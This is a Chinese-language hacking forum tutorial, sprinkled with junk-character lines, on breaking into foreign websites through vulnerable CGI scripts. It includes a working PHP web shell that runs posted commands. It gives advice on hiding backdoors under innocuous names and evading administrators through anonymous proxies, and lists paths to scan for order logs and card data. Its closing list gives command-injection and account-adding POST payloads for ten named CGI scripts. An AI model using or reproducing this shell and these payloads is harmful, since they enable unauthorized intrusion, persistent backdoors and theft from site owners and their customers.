CGI 脚本入侵快速上手+脚本使用方法

admin

CGI 脚本入侵快速上手+脚本使用方法
9 h9 v8 X; p* r1 C1 w" ?3 c大家好 我是bboyhip  只是一名菜菜的exploiter
很开心来到贵论坛
: N: J5 V3 j3 d. C! m  P0 X) f这里让我感觉 很有技术交流的感觉
我会长长来玩的
/ R# V3 M4 V, v% r前言:
0 l$ @( R/ D/ W  n8 v2 B以下讲解针对欧美日本网站
當我們在做滲透分析的時候 方法有很多
6 o% y6 D& y- `2 n我门都知道 国外伺服器大多是linux 平台
所以有很多网站程序有6成都会使用cgi 脚本来管理
2 ?/ |$ g8 {: L8 y6 D  k1 i目录为/cgi-bin/

: N) A2 n. g8 u! i- `只是个人在实务上一些经验
/ s; o8 j% e0 Q+ @" K写的不好 请多多见谅喔
在这里我简单分为几个部份一定要會的
讲解一下
让没有基础的人很容易上手

9 N1 q6 g% z8 o, A% [以下内容跟帖回复才能看到
: m8 Z2 ?1 S7 {7 _( Z==============================
) ^6 K, {; c- c# Z' [! L# }
; ?6 g% ~! b+ D. `8 ?3 h; U. `第1部份: 何谓Shell?
Shell的中文, 可称为 "壳".  Shell 是一个比较复杂的概念, 先看比较传统的解释:
A shell is the program which reads user input from the command line and executes actions based upon that input.
. m3 G) G8 N  }意思是, 通过应用程式(shell), 用户输入指令, 由系统执行该指令.
2 N0 e3 T0 ?8 U7 U, F
对於黑客来说, shell是後门, 是入侵/ 控制/ 浏览对方系统的程式/ 方法.  
要自行建立一个shell是十分困难的, 因为要先找漏洞, 找到後, 利用该漏洞来写入档案/ 後门.  大家都知道, 有些漏洞只可加码, 有些可读档, 但可以写档的不多.  在数年前, 有一个十分流行及易用的漏洞addpasswd.cgi, 可以写後门, 但时至今日, 绝大部份的addpasswd.cgi已经被删除.
( w3 I/ Q+ U2 Z1 Q所以, 对於入门的exploiter来说, 先收集别人的後门, 多多练习, 然後再学习做自己的shell.
4 T* z* C! z; a  z
第2部份: Unix 指令
以下是一些常见及重要的指令:
pwd: 显示当前目录, 即是後门/程式所在的位置
0 z# R* t9 M  \! Y( g! k如 /home/www/site.com/cgi-bin/
ls: 列出档案 (-a 包含隐藏档; -l 包含详细资料).  
) K# I' m; B7 z) r! Y5 ?  qls -al :详细列出档案资料(当前目录)
ls /: 列出根目录
' ^+ a% p1 }* o1 Yls /etc: 列出/etc的资料夹及档案
% e" E; ~. i$ _) j* }! ~ls ../ -al: 详细列出上一层的资料夹及档案
cat: 显示档案内容
cat .htpasswd: 显示 .htpasswd 这个档案的内容(当前目录)
! v* a- x/ \, x7 Hcat /etc/passwd: 显示 /etc/passwd 这个档案的内容
who: 显示谁login 至系统
man: 显示指令用法  
man ls: 显示ls这指令的用法  
mkdir 建立目录
rmdir 删除目录
mv 移动档案
; z0 `3 {! t, [% a+ M* D/ v- ?' rrm 删除档案
( F! C: O6 _6 [$ u1 Q; E
! q6 y& w* Y6 W第3部份: Shell的使用
例如:
- t0 {, a' Z$ T  K5 t! W9 whttp://site.com/refer.php
  ~- ^9 Y; s" J9 n, y这是我的後门, 原代码如下:
+ m! @/ M9 L$ Q' b9 z/ R<Form Action="#" Method="POST">
<Input type="text" name="cmd">
<Input type="Submit">
</Form>
# c: m/ x6 x8 G) U( a<?php
5 T7 T0 x- ^) H% D3 N, b1 m2 p) N$cmd = $_POST['cmd'];
$Output = shell_exec($cmd);
1 U. N! J/ o) P0 Xecho $Output;
3 j) G" y0 i4 ]2 d?>
输入pwd, 可得到绝对路径:
- }# |' ?( t: _: T+ \( B) u/home/htdocs/users/jnesbitt/jnesbitt/nylonfantasies.com

" S2 z4 o0 x) A/ t( `6 m第4部份: 注意事项
- 使用匿名代理, 保障自己
0 {; s) d+ F/ C) t: o! E. e9 Y- 不可恶意破坏, 或更改现有档案, 否则管理员发现了, 不但会删除後门, 可能会有追究行动
- 加後门前, 必须了解目标系统是否支援.  例如, cgi後门, 应放在cgi-bin; 有些系统可能不支援 php後门等.
- 加後门前 (如 index.php), 先检查是否已存在该档案名称, 以免覆盖原有档案, 造成破坏.
" J* o& |6 Y1 _; A. F" `$ S5 j- 後门的名称, 不可使用hack, crack, exploit等字眼, 最好使用index, index1, log, login, refer, tmp, test, info等, 鱼目混珠,
不容易被发现.
+ D% {, y, D" i/ ~3 [) I; d- 将後门放在比较隐闭的地方 (例如 /cgi-bin/内, 有很多cgi档案, 比较少php档案)
0 @$ u( R  x3 J. h6 Z针对网站的渗透分析方法太多了
: K1 g2 X- x  k- P这篇文章的重点是cgi 脚本攻击
6 W) Q) ?; E' |0 ~9 I6 _所以我用简单的叙述形容
开始讲解脚本入侵过程:
5 Y+ _5 U7 o9 J在这里提供一些方法思路让大家学习一下
9 {7 I/ r" {( C! Z2 A
8 V. G# U& |7 B" X1.一开始对一个网站进行cgi漏洞扫描
我们需要的东西有
扫洞工具 如:triton..等等
. l/ Y4 y$ d5 CE表
! P9 M8 A9 p# q5 B4 u: c如
/cgi-bin/add-passwd.cgi
/WebShop/templates/cc.txt
/ r5 J1 o7 D* Z$ S  O/Admin_files/order.log
/orders/mountain.cfg
) L8 B3 W$ a# U9 R" q" N/cgi-sys/cart.pl
/scripts/cart.pl
6 l9 W2 j: D9 d" C  W. n  r0 B) t/htbin/cart.pl
, E2 Y" |! g+ ^7 e$ Q$ Z. XE表来源可以是网路收寻或是自己的0 day

" f4 L2 Y( w4 t9 l2.怎样确认扫到的洞 是真的还假的?
/ G) x' k4 D! T, ?, J举例: target: http://www.site.com/cgi-bin/add-passwd.cgi
" N& p+ w, A/ K7 E1 s  e一般都是在IE里先看一下的,记住这个返回码哦
( ^$ j& g- v0 B) q- p4 z0 ?ERROR:This script should be referenced with a METHOD of POST.
没有返回一定是假的
5 \  F; @$ h8 ^5 X& D7 T3.重来来了 很多人都会问我
# s& v: g4 `, X) c6 ^: O1 _# U他扫到很多洞 但是不会使用
$ `0 q& L6 k$ U因为这些漏洞 使用的语法 称为post
我们要找post 的方法很多
/ p& v; l: @: D% _可以是源代码分析 找出介质
或是用抓包工具 抓他的语法...等等

7 p  ^) S2 G5 [$ {* \) G以下我提供10个 cgi 洞以及使用方法post
让大家可以针对网站去做扫描  
/index.cgi
7 j) Y* s: D! U3 x9 t; Swei=ren&gen=command
2 a* n/ H3 H! m; |* w/passmaster.cgi
Action=Add&Username=Username&Password=Password
/accountcreate.cgi
; K8 F- M+ C5 j3 T( t% ]username=username&password=password&ref1=|echo;ls|
$ t. m3 j' {" A/ O: c/form.cgi
; J$ T+ c- D& N2 ^+ O$ f* aname=xxxx&email=email&subject=xxxx&response=|echo;ls|
/addusr.pl
/cgi-bin/EuroDebit/addusr.pl
user=username&pass=Password&confirm=Password
/ccbill-local.asp
& l2 s3 N, \8 R6 y1 D) h. n. Opost_values=username:password
/count.cgi
pinfile=|echo;ls -la;exit|
! r3 a1 y# e5 s: O1 a/recon.cgi
5 f( n2 y1 v; f7 M2 Y! u/recon.cgi?search
8 M0 Z! `# [) ysearchoption=1&searchfor=|echo;ls -al;exit|
/verotelrum.pl
vercode=username:password:dseegsow:add:amount<&30>
9 @+ z) X! h7 }) ?/ }/af.cgi_browser_out=|echo;ls -la;exit;|
0 p' i& ?7 D" k4 b* \
5 x9 j- j. P- G/ _# [. K+ l今天就讲到这  感谢大家支持